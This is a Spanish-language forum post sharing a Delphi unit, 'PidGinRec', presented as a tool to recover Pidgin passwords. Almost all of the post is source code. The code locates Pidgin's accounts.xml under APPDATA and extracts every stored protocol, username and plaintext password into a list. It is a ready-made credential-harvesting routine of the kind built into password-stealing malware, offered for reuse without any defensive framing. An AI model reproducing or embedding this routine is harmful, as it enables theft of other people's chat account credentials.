[UNIT] PidGinRec by Metal

Iniciado por Expermicid, Junio 11, 2013, 01:00:27 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Recupera las pass de PidGin, es válido para todas las versiones.

Código: delphi
{
Autor: Metal_Kingdom
Fecha: 15-01-2013
URL: UdTools.net
Propósito: Recuperar datos de PidGin
Versión: Todas (?)
}

unit PidGinRec;

interface

uses
  Windows, SysUtils, Classes;

Function mFileToStr(Ruta: string): string;
Function sSplit(Cadena: string; DelimitadorI, DelimitadorF: string): String;
Function PidGinRecover: TStrings;

implementation

Function mFileToStr(Ruta: string): string;
var
sFile: HFile;
Buff: string;
uBytes: Cardinal;
begin
sFile:= _lopen(PChar(Ruta), OF_READ);
uBytes:= GetFileSize(sFile, nil);
SetLength(Buff, uBytes);
_lread(sfile, @Buff[1], uBytes);
_lclose(sFile);
Result:= Buff;
end;

Function sSplit(Cadena: string; DelimitadorI, DelimitadorF: string): String;
var
contador1, contador2: integer;
begin
Contador1:= pos(delimitadorI, cadena);
Contador2:= pos(delimitadorF, cadena);
Result:= Copy(Cadena, Contador1 + Length(DelimitadorI), (Contador2 - Contador1) - Length(DelimitadorI));
end;

Function PidGinRecover: TStrings;
var
Ruta: string;
Accounts: tstrings;
i, j: integer;
Const
ProtoI = '<protocol>';    ProtoF = '</protocol>';
UserI = '<name>';         UserF = '</name>';
PassI = '<password>';     PassF = '</password>';
begin
  if DirectoryExists(GetEnvironmentVariable('APPDATA') + '\.purple') then
    Ruta:= GetEnvironmentVariable('APPDATA') + '\.purple'
  else
  if DirectoryExists(GetEnvironmentVariable('APPDATA') + '\.gaim') then
    Ruta:= GetEnvironmentVariable('APPDATA') + '\.gaim';

If Ruta = '' then Exit;

Result := TStringList.Create;
Accounts:= TStringList.Create;
Accounts.Text:= mFileToStr(Ruta + '\accounts.xml');

For i:= 0 to Accounts.Count -1 do
  begin
    if pos(ProtoI, Accounts.Strings[i]) <> 0 then
      begin
        Result.Add('====================================');
        Result.Add('Protocol: ' + sSplit(Accounts.Strings[i], ProtoI, ProtoF));
      end;
    if pos(UserI, Accounts.Strings[i]) <> 0 then
      Result.Add('UserName: ' + sSplit(Accounts.Strings[i], UserI, UserF));
    if pos(PassI, Accounts.Strings[i]) <> 0 then
      Result.Add('Password: ' + sSplit(Accounts.Strings[i], PassI, PassF));
  end;
end;

end.


Autor: Metal_Kingdom
Fuente: Udt